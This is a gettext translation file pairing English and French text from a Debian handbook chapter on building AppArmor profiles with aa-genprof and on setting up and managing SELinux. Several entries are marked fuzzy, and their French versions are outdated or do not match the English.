msgid "Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it."
msgstr "Ici, le programme requiert les permissions de lecture sur <filename>/etc/nsswitch.conf</filename>. <command>aa-genprof</command> a détecté que cette permission était déjà accordée par plusieurs « abstractions », et les offre comme des choix possibles. Une abstraction fournit un ensemble réutilisable de règles de contrôle d'accès, en regroupant des règles qui sont souvent utilisées de concert. Dans notre cas précis, ce fichier est généralement utilisé par les fonctions de la bibliothèque C standard liées à la résolution de noms, et nous choisissons donc « 3 » pour inclure le choix « #include &lt;abstractions/nameservice&gt; », puis « A » pour l'autoriser."

#, fuzzy
#| msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/lib/NetworkManager/nm-dhcp-helper</filename> to run with its own profile."
msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile."
msgstr "Notons que cette tentative d'accès ne fait pas partie du profil dhclient, mais du nouveau profil que nous avons créé lorsque nous avons autorisé <filename>/usr/lib/NetworkManager/nm-dhcp-helper</filename> à fonctionner sous son propre profil."

msgid "After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”."
msgstr "Une fois que tous les événements enregistrés ont été examinés, le programme propose de sauver tous les profils qui ont été créés pendant l'exécution. Dans notre cas, nous avons deux profils que nous enregistrons d'un coup avec « Save » (mais nous aurions aussi pu les enregistrer un par un) avant de quitter le programme avec « Finish »."

msgid "<command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created."
msgstr "<command>aa-genprof</command> n'est en fait qu'un petit script intelligent qui utilise <command>aa-logprof</command> : il crée un profil vide, le charge en mode relâché, puis lance <command>aa-logprof</command>. Ce dernier est un outil qui met à jour un profil en fonction des violations qui ont été enregistrées. On peut donc relancer cet outil plus tard, de manière à améliorer le profil nouvellement créé."

#, fuzzy
#| msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a <filename>/etc/apparmor.d/sbin.dhclient</filename> close to this:"
msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a <filename>/etc/apparmor.d/usr.sbin.dhclient</filename> close to this:"
msgstr "Pour que le profil généré soit complet, il faut utiliser le programme de toutes les manières légitimement possibles. Dans le cas de dhclient, cela implique de le lancer via Network Manager, mais aussi via ifupdown, à la main, etc. À la fin, on obtient un <filename>/etc/apparmor.d/sbin.dhclient</filename> qui ressemble à ceci :"

#, fuzzy
#| msgid ""
#| "\n"
#| "# Last Modified: Tue Sep  8 21:40:02 2015\n"
#| "#include &lt;tunables/global&gt;\n"
#| "\n"
#| "/sbin/dhclient {\n"
#| "  #include &lt;abstractions/base&gt;\n"
#| "  #include &lt;abstractions/nameservice&gt;\n"
#| "\n"
#| "  capability net_bind_service,\n"
#| "  capability net_raw,\n"
#| "\n"
#| "  /bin/dash r,\n"
#| "  /etc/dhcp/* r,\n"
#| "  /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#| "  /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#| "  /etc/resolv.conf.* w,\n"
#| "  /etc/samba/dhcp.conf.* w,\n"
#| "  /proc/*/net/dev r,\n"
#| "  /proc/filesystems r,\n"
#| "  /run/dhclient*.pid w,\n"
#| "  /sbin/dhclient mr,\n"
#| "  /sbin/dhclient-script rCx,\n"
#| "  /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#| "  /var/lib/NetworkManager/* r,\n"
#| "  /var/lib/NetworkManager/*.lease rw,\n"
#| "  /var/lib/dhcp/*.leases rw,\n"
#| "\n"
#| "  profile /sbin/dhclient-script flags=(complain) {\n"
#| "    #include &lt;abstractions/base&gt;\n"
#| "    #include &lt;abstractions/bash&gt;\n"
#| "\n"
#| "    /bin/dash rix,\n"
#| "    /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#| "    /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#| "    /sbin/dhclient-script r,\n"
#| "\n"
#| "  }\n"
#| "}\n"
#| "      "
msgid ""
"\n"
"# Last Modified: Fri Jul  5 00:51:02 2019\n"
"#include &lt;tunables/global&gt;\n"
"\n"
"/usr/sbin/dhclient {\n"
"  #include &lt;abstractions/base&gt;\n"
"  #include &lt;abstractions/nameservice&gt;\n"
"\n"
"  capability net_bind_service,\n"
"  capability net_raw,\n"
"\n"
"  /bin/dash r,\n"
"  /etc/dhcp/* r,\n"
"  /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
"  /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
"  /etc/resolv.conf.* w,\n"
"  /etc/samba/dhcp.conf.* w,\n"
"  /proc/*/net/dev r,\n"
"  /proc/filesystems r,\n"
"  /run/dhclient*.pid w,\n"
"  /sbin/dhclient mr,\n"
"  /sbin/dhclient-script rCx,\n"
"  /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
"  /var/lib/NetworkManager/* r,\n"
"  /var/lib/NetworkManager/*.lease rw,\n"
"  /var/lib/dhcp/*.leases rw,\n"
"\n"
"  owner /etc/** mrwk,\n"
"  owner /var/** mrwk,\n"
"  owner /{,var/}run/** mrwk,\n"
"}\n"
"      "
msgstr ""
"\n"
"# Last Modified: Tue Sep  8 21:40:02 2015\n"
"#include &lt;tunables/global&gt;\n"
"\n"
"/sbin/dhclient {\n"
"  #include &lt;abstractions/base&gt;\n"
"  #include &lt;abstractions/nameservice&gt;\n"
"\n"
"  capability net_bind_service,\n"
"  capability net_raw,\n"
"\n"
"  /bin/dash r,\n"
"  /etc/dhcp/* r,\n"
"  /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
"  /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
"  /etc/resolv.conf.* w,\n"
"  /etc/samba/dhcp.conf.* w,\n"
"  /proc/*/net/dev r,\n"
"  /proc/filesystems r,\n"
"  /run/dhclient*.pid w,\n"
"  /sbin/dhclient mr,\n"
"  /sbin/dhclient-script rCx,\n"
"  /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
"  /var/lib/NetworkManager/* r,\n"
"  /var/lib/NetworkManager/*.lease rw,\n"
"  /var/lib/dhcp/*.leases rw,\n"
"\n"
"  profile /sbin/dhclient-script flags=(complain) {\n"
"    #include &lt;abstractions/base&gt;\n"
"    #include &lt;abstractions/bash&gt;\n"
"\n"
"    /bin/dash rix,\n"
"    /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
"    /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
"    /sbin/dhclient-script r,\n"
"\n"
"  }\n"
"}\n"
"      "

msgid "And <filename>/etc/apparmor.d/usr.sbin.dhclient-script</filename> might be similar to this:"
msgstr ""

msgid ""
"\n"
"# Last Modified: Fri Jul  5 00:51:55 2019\n"
"#include &lt;tunables/global&gt;\n"
"\n"
"/usr/sbin/dhclient-script {\n"
"  #include &lt;abstractions/base&gt;\n"
"  #include &lt;abstractions/bash&gt;\n"
"  #include &lt;abstractions/lightdm&gt;\n"
"}"
msgstr ""

msgid "Introduction to SELinux"
msgstr "Introduction Ă  SELinux"

msgid "<primary>SELinux</primary>"
msgstr "<primary>SELinux</primary>"

msgid "SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgstr "SELinux <foreignphrase>(Security Enhanced Linux)</foreignphrase> est un système de contrôle d'accès obligatoire <foreignphrase>(Mandatory Access Control)</foreignphrase> qui s'appuie sur l'interface <foreignphrase>Linux Security Modules</foreignphrase> fournie par le noyau Linux. Concrètement, le noyau interroge SELinux avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée."

msgid "SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work."
msgstr "SELinux s'appuie sur un ensemble de règles <foreignphrase>(policy)</foreignphrase> pour autoriser ou interdire une opération. Ces règles sont assez délicates à créer, mais heureusement deux jeux de règles standards (<foreignphrase>targeted</foreignphrase> et <foreignphrase>strict</foreignphrase>) sont fournies pour éviter le plus gros du travail de configuration."

msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity."
msgstr "Le système de permissions de SELinux est totalement différent de ce qu'offre un système Unix traditionnel. Les droits d'un processus dépendent de son <emphasis>contexte de sécurité</emphasis>. Le contexte est défini par l'<emphasis>identité</emphasis> de celui qui a démarré le processus, le <emphasis>rôle</emphasis> et le <emphasis>domaine</emphasis> qu'il avait à ce moment. Les permissions proprement dites dépendent du domaine, mais les transitions entre les domaines sont contrôlées par les rôles. Enfin, les transitions autorisées entre rôles dépendent de l'identité."

msgid "Security contexts and Unix users"
msgstr "Contextes de sécurité et utilisateurs Unix"

#, fuzzy
#| msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there's usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgstr "En pratique, au moment de la connexion, l'utilisateur se voit attribuer un contexte de sécurité par défaut (en fonction des rôles qu'il a le droit d'assumer). Cela fixe le domaine dans lequel il évolue. S'il veut changer de rôle et de domaine associé, il doit employer la commande <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domaine_t</replaceable></command> (il n'y a généralement qu'un seul domaine possible pour un rôle donné et le paramètre <literal>-t</literal> est donc souvent inutile). Cette commande demande à l'utilisateur son mot de passe afin de l'authentifier. Cette caractéristique empêche tout programme de pouvoir changer de rôle de manière automatique. De tels changements ne peuvent avoir lieu que s'ils sont prévus dans l'ensemble de règles."

msgid "Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)."
msgstr "Bien entendu, les droits ne s'appliquent pas universellement à tous les <emphasis>objets</emphasis> (fichiers, répertoires, sockets, périphériques, etc.), ils peuvent varier d'un objet à l'autre. Pour cela, chaque objet est associé à un <emphasis>type</emphasis> (on parle d'étiquetage). Les droits des domaines s'expriment donc en termes d'opérations autorisées (ou non) sur ces types (donc implicitement sur tous les objets qui sont marqués avec le type correspondant)."

msgid "<emphasis>EXTRA</emphasis> Domains and types are equivalent"
msgstr "<emphasis>COMPLÉMENTS</emphasis> Domaine et type sont équivalents"

#, fuzzy
#| msgid "Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with <literal>_t</literal> just like objects' types."
msgid "Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types."
msgstr "En interne, un domaine n'est qu'un type, mais un type qui ne s'applique qu'aux processus. C'est pour cela que les domaines sont suffixés par <literal>_t</literal> tout comme le sont les types affectés aux objets."

msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux."
msgstr "Par défaut, un programme exécuté hérite du domaine de l'utilisateur qui l'a démarré. Mais pour la plupart des programmes importants, les règles SELinux standards prévoient de les faire fonctionner dans un domaine dédié. Pour cela, ces exécutables sont étiquetés avec un type dédié (par exemple <command>ssh</command> est étiqueté avec <literal>ssh_exec_t</literal> et lorsque le programme est démarré, il bascule automatiquement dans le domaine <literal>ssh_t</literal>). Ce mécanisme de changement automatique de domaine permet de ne donner que les droits nécessaires au bon fonctionnement de chaque programme et est à la base de SELinux."

msgid "Automatic transitions between domains"
msgstr "Transitions automatiques entre domaines"

msgid "<emphasis>IN PRACTICE</emphasis> Finding the security context"
msgstr "<emphasis>EN PRATIQUE</emphasis> Connaître le contexte de sécurité"

msgid "<primary>security context</primary>"
msgstr "<primary>contexte de sécurité</primary>"

msgid "<primary>context, security context</primary>"
msgstr "<primary>sécurité, contexte de</primary>"

msgid "<primary>MCS (<emphasis>Multi-Category Security</emphasis>)</primary>"
msgstr "<primary>MCS (<foreignphrase>Multi-Category Security</foreignphrase>)</primary>"

msgid "To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>."
msgstr "Pour connaître le contexte de sécurité appliqué à un processus, il faut employer l'option <literal>Z</literal> de <command>ps</command>."

msgid ""
"<computeroutput>$ </computeroutput><userinput>ps axZ | grep vstfpd</userinput>\n"
"<computeroutput>system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>ps axZ | grep vstfpd</userinput>\n"
"<computeroutput>system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd</computeroutput>"

msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book."
msgstr "Le premier champ contient l'identité, le rôle, le domaine et le niveau MCS, séparés par des deux-points. Le niveau MCS <foreignphrase>(Multi-Category Security)</foreignphrase> est un paramètre intervenant dans la mise en place d'une politique de protection de la confidentialité, laquelle restreint l'accès aux fichiers selon leur degré de confidentialité. Cette fonctionnalité ne sera pas abordée dans ce livre."

msgid "To find the current security context in a shell, you should call <command>id -Z</command>."
msgstr "Pour connaître le contexte de sécurité actuellement actif dans un terminal de commande, il faut invoquer <command>id -Z</command>."

msgid ""
"<computeroutput>$ </computeroutput><userinput>id -Z</userinput>\n"
"<computeroutput>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>id -Z</userinput>\n"
"<computeroutput>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</computeroutput>"

msgid "Finally, to find the type assigned to a file, you can use <command>ls -Z</command>."
msgstr "Enfin, pour connaître le type affecté à un fichier, on peut employer <command>ls -Z</command>."

msgid ""
"<computeroutput>$ </computeroutput><userinput>ls -Z test /usr/bin/ssh</userinput>\n"
"<computeroutput>unconfined_u:object_r:user_home_t:s0 test\n"
"     system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>ls -Z test /usr/bin/ssh</userinput>\n"
"<computeroutput>unconfined_u:object_r:user_home_t:s0 test\n"
"     system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh</computeroutput>"

msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context."
msgstr "Signalons que l'identité et le rôle associé à un fichier n'ont pas d'importance particulière, ils n'interviennent jamais. Mais par souci d'uniformisation, tous les objets se voient attribuer un contexte de sécurité complet."

msgid "Setting Up SELinux"
msgstr "La mise en route"

msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux."
msgstr "Le code de SELinux est intégré dans les noyaux standards fournis par Debian et les programmes Unix de base le gèrent sans modification. Il est donc relativement simple d'activer SELinux."

msgid "The <command>apt install selinux-basics selinux-policy-default</command> command will automatically install the packages required to configure an SELinux system."
msgstr "La commande <command>apt install selinux-basics selinux-policy-default</command> installera automatiquement les paquets nécessaires pour configurer un système SELinux."

msgid "The <emphasis role=\"pkg\">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section)."
msgstr "Le paquet <command>selinux-policy-default</command> contient un ensemble de règles standards. Par défaut, l'ensemble de règles ne restreint les accès que pour certains services très exposés. Les sessions utilisateur ne sont pas restreintes et il n'y a donc que peu de risques que SELinux bloque des opérations légitimes des utilisateurs. En revanche, cela permet d'apporter un surcroît de sécurité pour les services système fonctionnant sur la machine. Pour obtenir l'équivalent des anciennes règles « strictes », il faut simplement désactiver le module <literal>unconfined</literal> (la gestion des modules est détaillée plus loin)."

msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>."
msgstr "Une fois les règles installées, il reste à étiqueter tous les fichiers disponibles (il s'agit de leur affecter un type). C'est une opération qu'il faut déclencher manuellement avec <command>fixfiles relabel</command>."

msgid "The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot."
msgstr "Le système SELinux est prêt, il ne reste plus qu'à l'activer. Pour cela, il faut passer le paramètre <literal>selinux=1 security=selinux</literal> au noyau Linux. Le paramètre <literal>audit=1</literal> active les traces SELinux qui enregistrent les différentes opérations qui ont été refusées. Enfin, le paramètre <literal>enforcing=1</literal> permet de mettre en application l'ensemble des règles : en effet, par défaut SELinux fonctionne en mode <foreignphrase>permissive</foreignphrase> où les actions interdites sont tracées mais malgré tout autorisées. Il faut donc modifier le fichier de configuration du chargeur de démarrage GRUB pour ajouter les paramètres désirés. Le plus simple pour cela est de modifier la variable <literal>GRUB_CMDLINE_LINUX</literal> dans <filename>/etc/default/grub</filename> et d'exécuter <command>update-grub</command>. Au démarrage suivant, SELinux sera actif."

msgid "It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)."
msgstr "Signalons que le script <command>selinux-activate</command> automatise ces opérations et permet de forcer un étiquetage au prochain redémarrage, ce qui évite d'avoir des fichiers non étiquetés créés alors que SELinux n'était pas encore actif et que l'étiquetage était en cours."

msgid "Managing an SELinux System"
msgstr "La gestion d'un système SELinux"

msgid "<primary><command>semodule</command></primary>"
msgstr "<primary><command>semodule</command></primary>"

msgid "<primary><command>semanage</command></primary>"
msgstr "<primary><command>semanage</command></primary>"

msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command."
msgstr "L'ensemble de règles SELinux est modulaire et son installation détecte et active automatiquement tous les modules pertinents en fonction des services déjà installés. Ainsi, le système est immédiatement fonctionnel. Toutefois, lorsqu'un service est installé après les règles SELinux, il faut pouvoir activer manuellement un module de règles. C'est le rôle de la commande <command>semodule</command>. En outre, il faut pouvoir définir les rôles accessibles à chaque utilisateur ; pour cela c'est la commande <command>semanage</command> qu'il faudra utiliser."

msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose."
msgstr "Ces deux commandes modifient donc la configuration SELinux courante qui est stockée dans <filename>/etc/selinux/default/</filename>. Contrairement à ce qui se pratique d'habitude avec les fichiers de configuration de <filename>/etc/</filename>, ces fichiers ne doivent pas être modifiés manuellement. Il faut les manipuler en utilisant les programmes prévus pour cela."

msgid "<emphasis>GOING FURTHER</emphasis> More documentation"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Plus de documentation"

#, fuzzy
#| msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type=\"block\" url=\"http://www.selinuxproject.org\" />"
msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type=\"block\" url=\"https://selinuxproject.org\" />"
msgstr "SELinux ne disposant d'aucune documentation officielle rédigée par la NSA, la communauté a mis en place un wiki pour combler ce manque criant. Il rassemble beaucoup d'informations mais il faut tenir compte du fait que la majorité des contributeurs utilisant SELinux sont utilisateurs de Fedora (où SELinux est activé par défaut). La documentation a donc tendance à traiter du cas de cette distribution. <ulink type=\"block\" url=\"http://www.selinuxproject.org\" />"

#, fuzzy
#| msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. <ulink type=\"block\" url=\"http://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"http://etbe.coker.com.au/tag/selinux/\" />"
msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. <ulink type=\"block\" url=\"https://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"https://etbe.coker.com.au/tag/selinux/\" />"
msgstr "On consultera donc également la page dédiée à SELinux du wiki Debian ainsi que le blog de Russelll Coker, un des développeurs Debian les plus actifs sur SELinux. <ulink type=\"block\" url=\"http://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"http://etbe.coker.com.au/tag/selinux/\" />"

msgid "Managing SELinux Modules"
msgstr "Gestion des modules SELinux"

msgid "Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2)."
msgstr "Les modules SELinux disponibles sont stockés dans le répertoire <filename>/usr/share/selinux/default/</filename>. Pour activer un de ces modules dans la configuration courante, il faut employer <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. L'extension <literal>pp.bz2</literal> signifie <foreignphrase>policy package</foreignphrase> que l'on pourrait traduire par « paquet de règles » (comprimé avec bzip2)."

msgid "Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>."
msgstr "À l'inverse, la commande <command>semodule -r <replaceable>module</replaceable></command> retire un module de la configuration courante. Enfin, la commande <command>semodule -l</command> liste les modules qui sont actuellement installés. La commande inclut également le numéro de version du module."

#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
#| "<computeroutput>abrt    1.5.0   Disabled\n"
#| "accountsd       1.1.0   \n"
#| "acct    1.6.0   \n"
#| "[...]</computeroutput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
#| "<computeroutput>abrt    1.5.0\n"
#| "accountsd       1.1.0   Disabled\n"
#| "acct    1.6.0   \n"
#| "[...]</computeroutput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
#| "<computeroutput>accountsd       1.1.0   Disabled\n"
#| "acct    1.6.0   \n"
#| "[...]</computeroutput>"
msgid ""
"<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
"<computeroutput>libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n"
"# </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>accountsd\n"
"acct\n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt\n"
"acct\n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
"<computeroutput>libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.</computeroutput><userinput>semodule -l</userinput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt    1.5.0   Disabled\n"
"accountsd       1.1.0   \n"
"acct    1.6.0   \n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt    1.5.0\n"
"accountsd       1.1.0   Disabled\n"
"acct    1.6.0   \n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>accountsd       1.1.0   Disabled\n"
"acct    1.6.0   \n"
"[...]</computeroutput>"

msgid "<command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option."
msgstr "<command>semodule</command> recharge immédiatement la nouvelle configuration, sauf si l'on utilise l'option <literal>-n</literal>. Signalons également que le programme modifie par défaut la configuration courante (celle indiquée par la variable <literal>SELINUXTYPE</literal> dans <filename>/etc/selinux/config</filename>) mais qu'on peut en modifier une autre grâce à l'option <literal>-s</literal>."

msgid "Managing Identities"
msgstr "Gestion des identités"

msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command."
msgstr "Chaque fois qu'un utilisateur se connecte, il se voit attribuer une identité SELinux, qui va définir les rôles qu'il va pouvoir assumer. Ces deux correspondances (de l'utilisateur vers l'identité SELinux et de cette identité vers les rôles) se configurent grâce à la commande <command>semanage</command>."

#, fuzzy
#| msgid "You should definitely read the <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: <literal>-a</literal> to add, <literal>-d</literal> to delete, <literal>-m</literal> to modify, <literal>-l</literal> to list, and <literal>-t</literal> to indicate a type (or domain)."
msgid "You should definitely read the <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> manual page. All the managed concepts have their own manual page; for instance, <citerefentry><refentrytitle>semanage-login</refentrytitle><manvolnum>8</manvolnum></citerefentry>. Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most sub-commands: <literal>-a</literal> to add, <literal>-d</literal> to delete, <literal>-m</literal> to modify, <literal>-l</literal> to list, and <literal>-t</literal> to indicate a type (or domain)."
msgstr "La lecture de la page de manuel <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> est indispensable, même si la syntaxe de cette commande ne varie guère selon les concepts manipulés. On retrouvera des options communes aux différentes sous-commandes : <literal>-a</literal> pour ajouter, <literal>-d</literal> pour supprimer, <literal>-m</literal> pour modifier, <literal>-l</literal> pour lister et <literal>-t</literal> pour indiquer un type (ou domaine)."

